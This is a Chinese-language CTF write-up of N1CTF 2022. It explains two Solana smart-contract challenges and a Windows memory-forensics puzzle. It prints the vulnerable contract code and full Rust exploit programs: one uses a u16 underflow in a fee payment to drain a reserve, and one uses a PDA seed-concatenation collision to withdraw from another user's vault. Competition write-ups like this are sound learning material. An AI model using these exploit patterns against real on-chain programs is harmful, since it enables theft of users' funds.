N1CTF 2022 Writeup¶
约 2683 个字 838 行代码 预计阅读时间 19 分钟
Abstract
这次主要做了下 blockchain,misc 有个内存取证差一点做出来,也在这里记一下
听说这次的 blockchain 会设单项奖,应该很有质量。没想到是没接触过的 solana 区块链,第一次玩,还挺有意思的,而且题给的做题框架也很全,还算很舒适
感觉 solana 还是有很多需要了解的基础知识还是很多的,有时间以后系统学习的时候再记录吧
Utility Payment Service¶
solana 的合约看起来很长很复杂,附件也是完整的 cargo 工作区,所以这里不全列出来了。
processor 部分
use borsh::{BorshDeserialize, BorshSerialize};
use solana_program::{
account_info::{next_account_info, AccountInfo},
entrypoint::ProgramResult,
msg,
program::{invoke, invoke_signed},
pubkey::Pubkey,
system_instruction,
};
use crate::{Escrow, ServiceInstruction, ESCROW_ACCOUNT_SIZE};
pub fn process_instruction(
program: &Pubkey,
accounts: &[AccountInfo],
mut data: &[u8],
) -> ProgramResult {
match ServiceInstruction::deserialize(&mut data)? {
ServiceInstruction::Init {} => init_escrow(program, accounts),
ServiceInstruction::DepositEscrow { amount } => deposit_escrow(program, accounts, amount),
ServiceInstruction::WithdrawEscrow {} => withdraw_escrow(program, accounts),
ServiceInstruction::Pay { amount } => pay_utility_fees(program, accounts, amount),
}
}
pub fn get_escrow(program: Pubkey, user: Pubkey) -> (Pubkey, u8) {
Pubkey::find_program_address(&["ESCROW".as_bytes(), &user.to_bytes()], &program)
}
pub fn get_reserve(program: Pubkey) -> (Pubkey, u8) {
Pubkey::find_program_address(&["RESERVE".as_bytes()], &program)
}
///
/// init escrow
///
fn init_escrow(program: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let _reserve = next_account_info(account_iter)?;
let escrow_account = next_account_info(account_iter)?;
let sys_prog = next_account_info(account_iter)?;
assert!(user.is_signer);
assert!(escrow_account.data_is_empty());
let (expected_escrow, escrow_bump) = get_escrow(*program, *user.key);
invoke_signed(
&system_instruction::create_account(
&user.key,
&expected_escrow,
1,
ESCROW_ACCOUNT_SIZE as u64,
&program,
),
&[user.clone(), escrow_account.clone(), sys_prog.clone()],
&[&["ESCROW".as_bytes(), &user.key.to_bytes(), &[escrow_bump]]],
)?;
let escrow_data = Escrow {
user: *user.key,
amount: 0,
bump: escrow_bump,
};
escrow_data.serialize(&mut &mut (*escrow_account.data).borrow_mut()[..]).unwrap();
Ok(())
}
///
/// deposit escrow
///
fn deposit_escrow(
program: &Pubkey,
accounts: &[AccountInfo],
deposit_amount: u16,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let reserve = next_account_info(account_iter)?;
let escrow_account = next_account_info(account_iter)?;
let sys_prog = next_account_info(account_iter)?;
assert!(user.is_signer);
let (expected_reserve, _reserve_bump) = get_reserve(*program);
assert_eq!(expected_reserve, *reserve.key);
let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
assert_eq!(expected_escrow, *escrow_account.key);
invoke(
&system_instruction::transfer(&user.key, &reserve.key, deposit_amount as u64),
&[
user.clone(),
reserve.clone(),
sys_prog.clone()
],
)?;
let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;
escrow_data.amount += deposit_amount;
escrow_data
.serialize(&mut &mut (*escrow_account.data).borrow_mut()[..])
.unwrap();
Ok(())
}
///
/// withdraw all balance in escrow
///
fn withdraw_escrow(program: &Pubkey, accounts: &[AccountInfo]) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let reserve = next_account_info(account_iter)?;
let escrow_account = next_account_info(account_iter)?;
let sys_prog = next_account_info(account_iter)?;
assert!(user.is_signer);
let (expected_reserve, reserve_bump) = get_reserve(*program);
assert_eq!(expected_reserve, *reserve.key);
let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
assert_eq!(expected_escrow, *escrow_account.key);
let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;
let balance = escrow_data.amount;
invoke_signed(
&system_instruction::transfer(&reserve.key, &user.key, balance as u64),
&[user.clone(), reserve.clone(), sys_prog.clone()],
&[&["RESERVE".as_bytes(), &[reserve_bump]]],
)?;
escrow_data.amount = 0;
escrow_data
.serialize(&mut &mut (*escrow_account.data).borrow_mut()[..])
.unwrap();
Ok(())
}
///
/// pay utility
///
fn pay_utility_fees(program: &Pubkey, accounts: &[AccountInfo], amount: u16) -> ProgramResult {
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let reserve = next_account_info(account_iter)?;
let escrow_account = next_account_info(account_iter)?;
let _sys_prog = next_account_info(account_iter)?;
assert!(user.is_signer);
let (expected_reserve, _reserve_bump) = get_reserve(*program);
assert_eq!(expected_reserve, *reserve.key);
let (expected_escrow, _escrow_bump) = get_escrow(*program, *user.key);
assert_eq!(expected_escrow, *escrow_account.key);
let escrow_data = &mut Escrow::deserialize(&mut &(*escrow_account.data).borrow_mut()[..])?;
let base_fee = 15_u16;
if escrow_data.amount >= 10 {
if amount < base_fee {
escrow_data.amount -= base_fee;
} else {
assert!(escrow_data.amount >= amount);
escrow_data.amount -= amount;
}
} else {
msg!("ABORT: Cannot make payments when the escrow account has a balance less than 10 lamports.");
}
escrow_data
.serialize(&mut &mut (*escrow_account.data).borrow_mut()[..])
.unwrap();
Ok(())
}
可以看出主要有三个方法:
- Init:初始化并签名 escrow
- DepositEscrow:存入 deposit_amount 金额
- 将钱转入 reserve account(只由 program seed 生成)
- 将用户对应 escrow account(由 program 和 user.key 的 seed 合成生成)的 amount 增加 deposit_amout
- WithdrawEscrow:将 escrow 记录的所有金额都转回给用户
- 从 reserve account 转出
- Pay:支付,也就是减少用户 escrow 的 amount。还是看代码更清晰:
这里存在一个较明显的隐患是 u16,也就是 16 位无符号整型。再回头看 lib.rs 中规定的 Escrow account 结构体:
#[repr(C)]
#[derive(BorshSerialize, BorshDeserialize)]
pub struct Escrow {
pub user: Pubkey,
pub amount: u16,
pub bump: u8,
}
接着看 main.rs 中的题目部分:
题目交互部分
fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {
let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();
// load programs
let solve_pubkey = builder.input_program().unwrap();
let program_pubkey = builder.chall_programs(&["./utility_payment.so"])[0];
// make user
let user = Keypair::new();
writeln!(socket, "program pubkey: {}", program_pubkey)?;
writeln!(socket, "solve pubkey: {}", solve_pubkey)?;
writeln!(socket, "user pubkey: {}", user.pubkey())?;
// println!("program: {}", program_pubkey);
// add accounts and lamports
let (reserve, _) = get_reserve(program_pubkey);
// let (escrow, _) = get_escrow(program_pubkey, user.pubkey());
const TARGET_AMT: u64 = 60_000;
const INIT_BAL: u64 = 50;
const RESERVE_BAL: u64 = 1_000_000;
builder
.builder
.add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL);
builder
.builder
.add_account_with_lamports(reserve, system_program::ID, RESERVE_BAL);
let mut challenge = builder.build();
let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
writeln!(socket, "user lamport before: {:?}", balance)?;
// run solve
challenge.input_instruction(solve_pubkey, &[&user]).unwrap();
// check solve
let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
writeln!(socket, "user lamport after: {:?}", balance)?;
if balance > TARGET_AMT {
let flag = fs::read_to_string("flag.txt").unwrap();
writeln!(
socket,
"Flag: {}",
flag
)?;
}
Ok(())
}
第一次接触 solana 题目,所以逐步解析一下:
- 创建一个 builder 并获取用户合约以及题目合约(ChallengeBuilder 来自 sol-ctf-framework
) :let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap(); // load programs let solve_pubkey = builder.input_program().unwrap(); let program_pubkey = builder.chall_programs(&["./utility_payment.so"])[0];
- 这里需要了解的是一个 solana 合约在上链的时候需要编译成 BPF(Berkley Packer Filter)字节码,也就是一个 .so 文件
- ChallengeBuilder::input_program 方法可以通过源码看出首先输入程序长度,然后读取 .so 的字节序列
- 创建用户账户并输出一系列 pubkey:
- 根据 program_pubkey 来找到 reserve 账户:
- 其中 get_reserve 函数在 processor.rs 中定义:
- 这里需要了解的一个是 solana 的账户分为一般账户和 PDA(Program Derived Address)
- PDA 一般是由程序生成用来记录数据的
- PDA 的计算是根据 seed 和 program_id(也就是程序的 pubkey)做哈希来生成的
- 但是 PDA 要保证不是可用的 Pubkey(这个还没理解
) ,所以 hash 的时候要再加一个参数 bump:pda = hash(seed, bump, program_id) - 寻找一个 PDA 的时候会从 0 到 256 枚举 bump,第一个可以生成有效 PDA 的 bump 称为 canonical bump,而且一般就使用这个 PDA
- 所以根据相同 seed、相同 program_id 生成的 PDA 也是相同的。Pubkey::find_program_address 做的就是这个,它的第一个参数是 seed、第二个参数是 program_id
- 所以 reserve 是一个由 RESERVE seed 和 program_pubkey 生成的 PDA
- 为 account 增加初始 lamports(钱
) :const TARGET_AMT: u64 = 60_000; const INIT_BAL: u64 = 50; const RESERVE_BAL: u64 = 1_000_000; builder .builder .add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL); builder .builder .add_account_with_lamports(reserve, system_program::ID, RESERVE_BAL);
- 给 user 50 lamports
- 给 reserve 1000000 lamports
- 构建 challenge、输出 user 初始 lamports:
- 接收指令,交给用户合约执行:
- 这里的 input_instruction 方法也是在 sol-ctf-framework 中定义的,输入方法较复杂,不过好在题目提供了一个 solve.py 用来交互输入指令
- 检查目标,达到则下发 flag:
let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports; writeln!(socket, "user lamport after: {:?}", balance)?; if balance > TARGET_AMT { let flag = fs::read_to_string("flag.txt").unwrap(); writeln!( socket, "Flag: {}", flag )?; }
- 可见目标是使 user 拥有的 lamports 大于 60000 lamports
这样我们的攻击方式就很明显了:
- 先调用题目合约的 Init 指令完成初始化(题目已经写好)
- 再 deposit 11 lamports,使用户对应的 escrow 的 amount 记为 11
- 然后 pay 11 lamports,这时不会收取 11 lamports 而是收取基础费用 15 lamports。escrow 的 amount 从 11 减去 15 发生溢出,溢出到 65531,此时 withdraw 的话 reserve 有 1000000 足够支付,提出来后也可以达到题目 60000 的目标
- 直接 withdraw 即可
所以只需要将这些步骤都照葫芦画瓢写在 processor.rs 的 process_instruction 中即可:
exp 合约
pub fn process_instruction(
_program: &Pubkey,
accounts: &[AccountInfo],
_data: &[u8],
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let utility_program = next_account_info(account_iter)?;
let user = next_account_info(account_iter)?;
let reserve = next_account_info(account_iter)?;
let escrow_account = next_account_info(account_iter)?;
let sys_prog_account = next_account_info(account_iter)?;
invoke(
&Instruction {
program_id: *utility_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*reserve.key, false),
AccountMeta::new(*escrow_account.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: ServiceInstruction::Init { }
.try_to_vec()
.unwrap(),
},
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&deposit_escrow(
*utility_program.key,
*user.key,
*reserve.key,
*escrow_account.key,
11,
),
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&pay_utility_fees(
*utility_program.key,
*user.key,
*reserve.key,
*escrow_account.key,
11,
),
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
invoke(
&withdraw_escrow(
*utility_program.key,
*user.key,
*reserve.key,
*escrow_account.key,
),
&[
reserve.clone(),
escrow_account.clone(),
user.clone(),
sys_prog_account.clone(),
],
)?;
Ok(())
}
之后利用 cargo build-bpf(需要先安装 solana)编译出 .so 文件,再交给 solve.py 脚本交题即可。
flag: n1ctf{cashback_……}
Simple Staking¶
同样也是 solana 合约,不过用了 anchor lang:https://www.anchor-lang.com/ ,有很多奇奇怪怪的写法,但看看文档还挺好懂的
还是详细解析一下:
题目合约 ¶
anchor lang 的语法看起来就是把处理函数封装在一个 mod 中然后用 #[program]
宏来处理。
这个 mod 中的每个函数都会被处理成一个指令,它们第一个参数都是一个 Context 泛型,其依赖的是针对每种指令的结构体 Accounts(即 Context
结构体的定义会使用 #[derive(Accounts)]
宏来进行处理。其中成员也可以使用 #[account()]
宏进行限定,如果输入不满足限定则会报错,具体写法和意义可以看官方文档。
Initialize¶
- 处理函数是空的,也就是说所有操作都在 Initialize 结构体中进行
- Initialize 结构体字段:
- catalog:
#[account( init, seeds = [ b"CATALOG" ], bump, payer = payer, space = Catalog::SIZE, )] pub catalog: Account<'info, Catalog>,
- init 表示这个 account 需要初始化(而且不能重复进行)
- seeds 表示用这个 seed 来找 PDA
- bump 表示要记录下 canonical bump(可以通过
*ctx.bumps.get("catalog").unwrap()
来获取这个 bump - payer 表示创建账号要用的 payer
- space 用来确定大小,由 Catalog 规定
- 这个账户存的信息(data)是 Catalog 结构体的内容(序列化后)Catalog 定义:
#[account] #[repr(C, align(8))] #[derive(Default)] pub struct Catalog { pub orgs: Vec<String>, pub ids: Vec<String>, } impl Catalog { pub const SIZE : usize = 8 + 4 + (4 + MAXIMUM_STRING_SIZE) * MAXIMUM_CATALOG_SIZE // orgs: Vec<String>, + 4 + (4 + MAXIMUM_STRING_SIZE) * MAXIMUM_CATALOG_SIZE; // ids: Vec<String>, }
- reserve:
#[account( init, seeds = [ b"RESERVE" ], bump, payer = payer, token::mint = mint, token::authority = reserve )] pub reserve: Account<'info, TokenAccount>,
- 与前面同理
- 这是一个 TokenAccount,其定义在 spl_token 中,是一个类似 ERC20 的代币
- 其它:
pub mint: Account<'info, Mint>, #[account(mut)] pub payer: Signer<'info>, pub token_program: Program<'info, Token>, pub system_program: Program<'info, System>, pub rent: Sysvar<'info, Rent>,
- mint 为 Token 合约的 mint 账户,用来给 reserve 提供参数 token::mint
- payer 也是为前面两个提供参数
- token_program 是 spl token 的 ID
- system_program 是题目合约的 ID
- rent 是 solana 系统的 rent ID(不用管这个)
- catalog:
Register¶
- Register 结构体:
- 处理函数:
pub fn register(ctx: Context<Register>, org_name: String, employee_id: String) -> Result<()> { msg!("[CHALL] register: org {}, id {}", org_name, employee_id); require!( org_name.len() < MAXIMUM_STRING_SIZE, CoreError::StringTooLong ); require!( employee_id.len() < MAXIMUM_STRING_SIZE, CoreError::StringTooLong ); let catalog = &mut ctx.accounts.catalog; require!( ! ( catalog.orgs.contains(&org_name) && catalog.ids.contains(&employee_id) ), CoreError::DuplicatedEmployee ); catalog.orgs.push(org_name.clone()); catalog.ids.push(employee_id.clone()); let employee_record = &mut ctx.accounts.employee_record; let employee_key = ctx.accounts.user.key(); employee_record.org = org_name; employee_record.id = employee_id; employee_record.key = employee_key; Ok(()) }
- 首先验证 org_name 和 employee_id 的长度
- 检查 (org_name, employee_id) 是否在 catalog 中存在,存在则报错
- 将 (org_name, employee_id) 添加到 catalog 中
- 修改 employee_record
Deposit¶
- Deposit 结构体
- vault:
#[account( init_if_needed, seeds = [org_name.as_bytes(), employee_id.as_bytes()], bump, space = Vault::SIZE, payer = user )] pub vault: Account<'info, Vault>,
- 通过 [org_name, employee_id] 这个 seed 获取 PDA
- Vault 定义:
- employee_record:
#[account( seeds = [user.key().as_ref()], bump, constraint = employee_record.org == org_name, constraint = employee_record.id == employee_id, constraint = employee_record.key == user.key(), )] pub employee_record: Account<'info, EmployeeRecord>,
- 这里有新出现的 constraint,传参时会检查其内容是否为 true,不是的话就报错然后 revert
- 其它
#[account( mut, seeds = [ b"RESERVE" ], bump, constraint = reserve.mint == mint.key(), )] pub reserve: Account<'info, TokenAccount>, #[account( mut, constraint = user_token_account.owner == user.key(), constraint = user_token_account.mint == mint.key() )] pub user_token_account: Account<'info, TokenAccount>, pub mint: Account<'info, Mint>, #[account(mut)] pub user: Signer<'info>, pub token_program: Program<'info, Token>, pub system_program: Program<'info, System>, pub rent: Sysvar<'info, Rent>,
- vault:
- 处理函数:
pub fn deposit(ctx: Context<Deposit>, org_name: String, employee_id: String, amount: u64) -> Result<()> { msg!("[CHALL] deposit"); let vault = &mut ctx.accounts.vault; let employee_record = & ctx.accounts.employee_record; let user = & ctx.accounts.user; require!( user.key() == employee_record.key && org_name == employee_record.org && employee_id == employee_record.id, CoreError::UnknownEmployee ); let deposit_ctx = CpiContext::new( ctx.accounts.token_program.to_account_info(), Transfer { from: ctx.accounts.user_token_account.to_account_info(), to: ctx.accounts.reserve.to_account_info(), authority: ctx.accounts.user.to_account_info() } ); token::transfer(deposit_ctx, amount)?; vault.amount += amount; Ok(()) }
- 先试一系列检查,检查输入是否合法
- 然后调用 spl token 的 transfer 指令来从 user_token_account 转 amount 个 token 给 reserve
- 为 vault 的 amount 增加 amount(这个 vault 是根据 seed [org_name, employee_id] 找到的 PDA)
Withdraw¶
- Withdraw 结构体
- 其内容和 Deposit 几乎一致
- 区别在于 Deposit 的 user 在这里叫做 payer,不过用处应该没变
- 处理函数:
pub fn withdraw(ctx: Context<Withdraw>, org_name: String, employee_id: String, amount: u64) -> Result<()> { msg!("[CHALL] withdraw"); let vault = &mut ctx.accounts.vault; let employee_record = & ctx.accounts.employee_record; let payer = ctx.accounts.payer.key(); require!( payer == employee_record.key && org_name == employee_record.org && employee_id == employee_record.id, CoreError::UnknownEmployee ); require!( vault.amount >= amount, CoreError::InsufficientBalance ); let reserve_bump = [*ctx.bumps.get("reserve").unwrap()]; let signer_seeds = [ b"RESERVE", reserve_bump.as_ref() ]; let signer = &[&signer_seeds[..]]; let withdraw_ctx = CpiContext::new_with_signer( ctx.accounts.token_program.to_account_info(), Transfer { from: ctx.accounts.reserve.to_account_info(), to: ctx.accounts.user_account.to_account_info(), authority: ctx.accounts.reserve.to_account_info() }, signer ); token::transfer(withdraw_ctx, amount)?; vault.amount -= amount; Ok(()) }
- 同样做了很多检查
- 利用 spl token 合约从 reserve transfer amount token 给 user_account
- 给 vault.amount 减少 amount
题目交互部分 ¶
题目交互代码
async fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {
let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();
let chall_id = builder.add_program("./chall/target/deploy/chall.so", Some(chall::ID));
let solve_id = builder.input_program()?;
let mut chall = builder.build().await;
// -------------------------------------------------------------------------
// [setup env] initialize
// -------------------------------------------------------------------------
let program_id = chall_id;
let mint = chall.add_mint().await?;
let payer_keypair = &chall.ctx.payer;
let payer = payer_keypair.pubkey();
let user_keypair = Keypair::new();
let user = user_keypair.pubkey();
chall
.run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))
.await?;
let catalog = Pubkey::find_program_address(&[b"CATALOG"], &program_id).0;
let reserve = Pubkey::find_program_address(&[b"RESERVE"], &program_id).0;
println!("\nAccounts created...\n");
let ix = chall::instruction::Initialize {};
let ix_accounts = chall::accounts::Initialize {
catalog,
reserve,
mint,
payer,
token_program: spl_token::ID,
system_program: solana_program::system_program::ID,
rent: solana_program::sysvar::rent::ID,
};
chall
.run_ix(Instruction::new_with_bytes(
program_id,
&ix.data(),
ix_accounts.to_account_metas(None),
))
.await?;
// -------------------------------------------------------------------------
// [setup env] register
// -------------------------------------------------------------------------
let org_name = String::from("product");
let employee_id = String::from("employ_A");
let ix = chall::instruction::Register {
org_name: org_name.clone(),
employee_id: employee_id.clone(),
};
let employee_record = Pubkey::find_program_address(&[payer.as_ref()], &program_id).0;
let reg_accounts = chall::accounts::Register {
catalog,
employee_record,
user: payer,
system_program: solana_program::system_program::ID,
rent: solana_program::sysvar::rent::ID,
};
chall
.run_ix(Instruction::new_with_bytes(
program_id,
&ix.data(),
reg_accounts.to_account_metas(None),
))
.await?;
// -------------------------------------------------------------------------
// [setup env] deposits 1_000
// -------------------------------------------------------------------------
let payer_token_account = chall.add_token_account(&mint, &payer).await?;
chall
.mint_to(1_000_u64, &mint, &payer_token_account)
.await?;
let vault = Pubkey::find_program_address(
&[org_name.clone().as_bytes(), employee_id.clone().as_bytes()],
&program_id,
)
.0;
let ix = chall::instruction::Deposit {
org_name: org_name.clone(),
employee_id: employee_id.clone(),
amount: 500_u64,
};
let ix_accounts = chall::accounts::Deposit {
vault,
employee_record,
reserve,
user_token_account: payer_token_account,
mint,
user: payer,
token_program: spl_token::ID,
system_program: solana_program::system_program::ID,
rent: solana_program::sysvar::rent::ID,
};
chall
.run_ix(Instruction::new_with_bytes(
program_id,
&ix.data(),
ix_accounts.to_account_metas(None),
))
.await?;
// TDOD: comment out
let reserve_account = chall.read_token_account(reserve).await?;
let reserve_balance = reserve_account.amount;
println!(
"\nvault = {}\nreserve balance = {}\n",
vault, reserve_balance
);
// ----------------------------------------------------------------------------
// [setup env] done
// ----------------------------------------------------------------------------
let init_amount = 100_u64;
let user_record = Pubkey::find_program_address(&[user.as_ref()], &program_id).0;
let user_token_account_pubkey = chall.add_token_account(&mint, &user).await?;
chall
.mint_to(init_amount, &mint, &user_token_account_pubkey)
.await?;
writeln!(socket, "user: {}", user)?;
writeln!(socket, "user_record: {}", user_record)?;
writeln!(socket, "catalog: {}", catalog)?;
writeln!(socket, "mint: {}", mint)?;
writeln!(socket, "user_token_account: {}", user_token_account_pubkey)?;
writeln!(socket, "reserve: {}", reserve)?;
let bump_budget = ComputeBudgetInstruction::request_units(10_000_000u32, 0u32);
let solve_ix = chall.read_instruction(solve_id)?;
chall
.run_ixs_full(
&[bump_budget, solve_ix],
&[&user_keypair],
&user_keypair.pubkey(),
)
.await?;
let user_token_account = chall.read_token_account(user_token_account_pubkey).await?;
writeln!(
socket,
"player_account_amount: {:?}",
user_token_account.amount
)?;
println!(
"\nplayer_account_amount balance = {}\n",
user_token_account.amount
);
if user_token_account.amount > init_amount {
writeln!(socket, "congrats!")?;
if let Ok(flag) = env::var("FLAG") {
writeln!(socket, "flag: {:?}", flag)?;
} else {
writeln!(socket, "flag not found, please contact admin")?;
}
}
Ok(())
}
- 读取题目合约和用户输入合约
- 增加 mint、payer、user 账户
- 初始给 user 100_000_000_000 lamports
- 获取属于题目合约的 catalog 和 reserve PDA
- 调用题目合约的 Initialize 指令
- 调用 Register,org_name 和 employee_id 为 ("product", "employ_A")
- 创建 payer_token_account,初始给其 1000 token
- 获取 seed ("product", "employ_A") 的 PDA 作为 vault,调用 Deposit,amount 为 500 token
- 创建 user_record 和 user_token_account,向其中初始转 100 token
- 输出一系列 pubkey
- 读取指令,调用用户合约
- 获取 user_token_account 的 token 个数,如果多于 100 个则输出 flag
做法 ¶
这题的答题交互也给了,是 rust 代码,写好了直接改下 tcp 地址然后 cargo run 就可以打了。
主要的解法还是在 solve/programs/solve/src/lib.rs 中编写。
题给了一个初始化指令和其结构体的定义,在里面补充就可以。原有的是一个调用 Register 的代码,register 了 ("product", "employ_B") 这个 record。
找了很长时间没看出漏洞在哪。但 solana 的官方文档中关于 PDA seed 的描述里面有一个 warning:
Warning: Because of the way the seeds are hashed there is a potential for program address collisions for the same program id. The seeds are hashed sequentially which means that seeds {"abcdef"}, {"abc", "def"}, and {"ab", "cd", "ef"} will all result in the same program address given the same program id. Since the chance of collision is local to a given program id, the developer of that program must take care to choose seeds that do not collide with each other. For seed schemes that are susceptible to this type of hash collision, a common remedy is to insert separators between seeds, e.g. transforming {"abc", "def"} into {"abc", "-", "def"}.
大体意思就是,如果 seed 有多个的话,计算的时候是直接拼接起来的,["abcdef"] 和 ["abc", "def"]、["ab", "cdef"] 算出来的 PDA 是一样的。
而题目中获取 vault 用的 seed 是 [org_name, employee_id],这里就存在了拼接。既然我们不能使用同样的 (org_name, employee_id) 来注册、获取到其记录有 500 token 的 vault,但我们可以用另一对 (org_name, employee_id) 来完成注册、并在 withdraw 获取 vault 的时候使其拼接起来和题目中的一样来获取到那个 500 token 的 vault。
所以我们注册一个 ("produc", "temploy_A") 然后直接 withdraw 就可以了:
exp 合约 initialize 指令
pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
let o1 = String::from("produc");
let e1 = String::from("temploy_A");
let cpi_accounts = chall::cpi::accounts::Register {
catalog: ctx.accounts.catalog.to_account_info(),
employee_record: ctx.accounts.user_record.to_account_info(),
user: ctx.accounts.user.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::register(cpi_ctx, o1, e1)?;
let o1 = String::from("produc");
let e1 = String::from("temploy_A");
let cpi_accounts = chall::cpi::accounts::Withdraw {
vault: ctx.accounts.vault.to_account_info(),
employee_record: ctx.accounts.user_record.to_account_info(),
reserve: ctx.accounts.reserve.to_account_info(),
user_account: ctx.accounts.user_token_account.to_account_info(),
mint: ctx.accounts.mint.to_account_info(),
payer: ctx.accounts.user.to_account_info(),
token_program: ctx.accounts.token_program.to_account_info(),
system_program: ctx.accounts.system_program.to_account_info(),
rent: ctx.accounts.rent.to_account_info(),
};
let cpi_ctx = CpiContext::new(ctx.accounts.chall.to_account_info(), cpi_accounts);
chall::cpi::withdraw(cpi_ctx, o1, e1, 1)?;
Ok(())
}
然后交互的 main.rs 中还有一处获取参数 vault 的地方也需要改一下:
其它沿用给的交互就可以了。这样 main.rs 中输入指令,调用 exp 合约的 Initialize 指令,其中 withdraw 了,结束后检查 token amount 就会比原先更多了。
flag: n1ctf{I_sh0uld_h4ve_ch0s3n_4_b3tt3r_se3d_de5ign}
just find flag¶
一道 Windows 内存取证题,差了一步没做出来。结束后补完了。
内存取证直接上手先 strings 一把梭,发现了 flag.zip、flag.txt。是一个压缩包,直接从十六进制里把它完整内容扒出来,发现有密码,而且是真密码,六位数密码爆不出来。
继续 volatility 一把梭,imageinfo 出来是 Win7 系统,一些没用的指令输出就不在这里写了
在执行 consoles 指令的时候发现了:
**************************************************
ConsoleProcess: conhost.exe Pid: 2480
Console: 0xff656200 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe - C:\Python27\python.exe -m SimpleHTTPServer
AttachedProcess: python.exe Pid: 2052 Handle: 0x8c
AttachedProcess: cmd.exe Pid: 2336 Handle: 0x60
----
CommandHistory: 0x37ed10 Application: python.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x8c
----
CommandHistory: 0x37e9c0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 3 LastAdded: 2 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0x382d60: echo "Stucked? You can ask WallPaper god for help."
Cmd #1 at 0x35e3a0: cd Desktop
Cmd #2 at 0x382dd0: C:\Python27\python.exe -m SimpleHTTPServer
----
Screen 0x360f70 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\dora>echo "Stucked? You can ask WallPaper god for help."
"Stucked? You can ask WallPaper god for help."
C:\Users\dora>cd Desktop
C:\Users\dora\Desktop>C:\Python27\python.exe -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.17.129 - - [05/Nov/2022 03:08:43] "GET /mem.zip HTTP/1.1" 200 -
Offset(P) #Ptr #Hnd Access Name
------------------ ------ ------ ------ ----
...
0x000000007eee11c0 10 0 R--r-- \Device\HarddiskVolume1\Windows\Web\Wallpaper\Windows\img0.jpg
...
0x000000007fc48f20 16 0 R--r-d \Device\HarddiskVolume1\Windows\Web\Wallpaper\Windows\img0.jpeg
...
volatility -f mem.raw --profile=Win7SP1x64 dumpfiles -Q <Offset> --dump-dir=./
提取,发现上面一张是 Win7 经典壁纸,下面一张是:
然后这里卡住了,找了很长时间也找不出他说的没有 Desktop 的 full path 是什么。
赛后听说是要用 volatility 的 mtfparser 指令,试了一下,确实是有的:
有个路径PROGRA~2\WINDOW~2\ACCESS~1\flag.zip
,可以推测出这个缩写实际上是 C:\Program Files (x86)\Windows NT\Accessories\flag.zip
。所以压缩包的密码就是(\f
就是要这样放着不管,题目给了 note 了):
hashlib.md5(b"C:\Program Files (x86)\Windows NT\Accessories\flag.zip").hexdigest()
# 0d3ba7db468bdbd4f93a88c97ba7bef1
反正还是 volatility 不熟练,记下了。Windows 下一些删掉了的文件可以尝试用 mtfparser 来搜一下。
创建日期: 2022年11月7日 19:06:21